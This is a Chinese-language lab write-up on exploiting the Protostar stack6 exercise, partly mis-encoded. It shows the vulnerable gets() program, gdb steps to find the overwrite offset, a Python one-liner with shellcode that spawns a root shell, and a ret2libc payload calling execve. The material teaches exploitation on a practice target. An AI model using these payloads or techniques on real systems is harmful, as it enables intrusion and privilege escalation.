Linux使用ROP進(jìn)行棧溢出攻擊
通過Protostar stack6演示Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc。
一、__builtin_return_address函數(shù)
先介紹下__builtin_return_address這個(gè)函數(shù),這個(gè)函數(shù)接收一個(gè)參數(shù),可以是0,1,2等。__builtin_return_address(0)返回當(dāng)前函數(shù)的返回地址,如果參數(shù)增大1,那么就往上走一層獲取返回地址。Windows下好像也有個(gè)類似的函數(shù),不過具體叫什么忘記了??匆粋€(gè)例子就知道這個(gè)函數(shù)的用處了:
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- void foo()
- {
- printf("in foo()\n");
- printf("Foo: __builtin_return_address(0) = 0x%08X\n",
- __builtin_return_address(0));
- printf("Foo: __builtin_return_address(1) = 0x%08X\n",
- __builtin_return_address(1));
- bar();
- }
- void bar()
- {
- printf("in bar()\n");
- printf("Bar: __builtin_return_address(0) = 0x%08X\n",
- __builtin_return_address(0));
- printf("Bar: __builtin_return_address(1) = 0x%08X\n",
- __builtin_return_address(1));
- }
- int main(int argc, char **argv)
- {
- foo();
- return 0;
- }
編譯之后用gdb調(diào)試,情況如下:
foo中調(diào)用__builtin_return_address(1)得到的結(jié)果就是main函數(shù)執(zhí)行完之后的返回地址。#p#
二、直接在棧上執(zhí)行Shellcode
題目的源代碼如下:
- #include <stdlib.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <string.h>
- void getpath()
- {
- char buffer[64];
- unsigned int ret;
- printf("input path please: "); fflush(stdout);
- gets(buffer);
- ret = __builtin_return_address(0);
- if((ret & 0xbf000000) == 0xbf000000) {
- printf("bzzzt (%p)\n", ret);
- _exit(1);
- }
- printf("got path %s\n", buffer);
- }
- int main(int argc, char **argv)
- {
- getpath();
- }
可以看出buffer是可以溢出的,但是后面對返回地址有一個(gè)校驗(yàn),即最高位不能是0xBF,而棧的地址的最高位就是0xBF,所以不能直接跳轉(zhuǎn)到棧上面去執(zhí)行Shellcode,但是我們可以通過.text中的一條ret指令作為跳轉(zhuǎn)。首先需要測試返回地址的覆蓋字段位于輸入數(shù)據(jù)中的位置:
- python -c "print 'A'*80+'B'*4" > data.txt
- gdb stack6
- disas getpath
- b *0x080484b8 #在這里返回地址放到了eax中
- r < data.txt
- info registers eax
看到eax剛好為0×42424242,也就是返回地址被覆蓋成了0×42424242。現(xiàn)在需要一條ret指令,可以直接取main函數(shù)的最后一條指令,通過disas main可以查看到地址為0×08048508。如果我們把返回地址覆蓋為0×08048508,那么從getpath返回后就跑去0×08048508這個(gè)地址去執(zhí)行了,而這里又是一條返回地址,那么我們可以在棧上放一個(gè)指向Shellcode的地址。
現(xiàn)在需要知道buffer的地址,在gets調(diào)用處下斷點(diǎn):
- disas getpath
- b *0x080484aa #這里調(diào)用gets
- info registers eax
得到buffer的地址為0xBFFFFCCC。buffer的起始地址知道了,我們就可以知道Shellcode的位置了:
0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。
下面是數(shù)據(jù)的布局:
用Python生成這段數(shù)據(jù),并當(dāng)做stack6程序的輸入數(shù)據(jù):
python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x24\xFD\xFF\xBF' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31 \xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > data.txt
gdb stack6
r < data.txt
whoami
root
#p#
三、使用ROP技術(shù)
其實(shí)上面跳轉(zhuǎn)到main函數(shù)的最后一條ret指令的方法就是使用了ROP的思想了,不過現(xiàn)在假設(shè)棧沒有可執(zhí)行屬性,那么上面的方法就不行了。我們可以考慮使用execve(“/bin/sh”, 0, 0) 執(zhí)行shell。為此,需要先找到execve的地址,gdb下輸入如下命令:
- print execve #為0xb7f2e170
- print exit #為0xb7ec60c0
通過x /1000s $esp查找/bin/sh字符串,在0xbffffefb發(fā)現(xiàn)字符串”SHELL=/bin/bash”,我們需要的地址為0xbffffefb+6=0xBFFFFF01。當(dāng)然也可以在輸入的時(shí)候直接傳入字符串,不過需要控制字符串結(jié)束符,gets又不能讀(讀入的是0x0D,不是0×00),額外處理為很麻煩。上面的查找方法是查找進(jìn)程中的環(huán)境變量字符串實(shí)現(xiàn)的。同時(shí)我們也能找到指向0×00000000的指針,如0xBFFFFD6A,往execve的第二個(gè)第三個(gè)參數(shù)傳入這樣的指針也是可以的。
現(xiàn)在我們的數(shù)據(jù)布局如下:
execve調(diào)用之后是不會(huì)返回的,所以填充的那個(gè)exit的地址也可以是其他的不帶NULL的數(shù)據(jù),按我所想象的,這樣之后就可以了。
- python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x70\xE1\xF2\xB7' +
- '\xC0\x60\xEC\xB7' + '\x01\xFF\xFF\xBF' + '\x6A\xFD\xFF\xBF' +
- '\x6A\xFD\xFF\xBF'" > data.txt
- gdb stack6
- r < data.txt
不過這里在gdb中看到,/bin/bash執(zhí)行后立刻就退出了,這個(gè)估計(jì)是使用execve的方式不對,ROP思路本身是沒有問題的,下次分析下第一種方法中的Shellcode,就知道怎么用了。
四、 gdb調(diào)試學(xué)習(xí)
反匯編指定區(qū)域的數(shù)據(jù):disas /r 0x0804a000 0x0804b000
查看函數(shù)地址:print execve
修改內(nèi)存數(shù)據(jù):set *((char*)0x0804aabb=0×00 選擇對應(yīng)的type即可
將文件數(shù)據(jù)作為輸入:run < 文件路徑
將shell命令輸出作為命令行參數(shù):run $(python -c "print 'A'*100")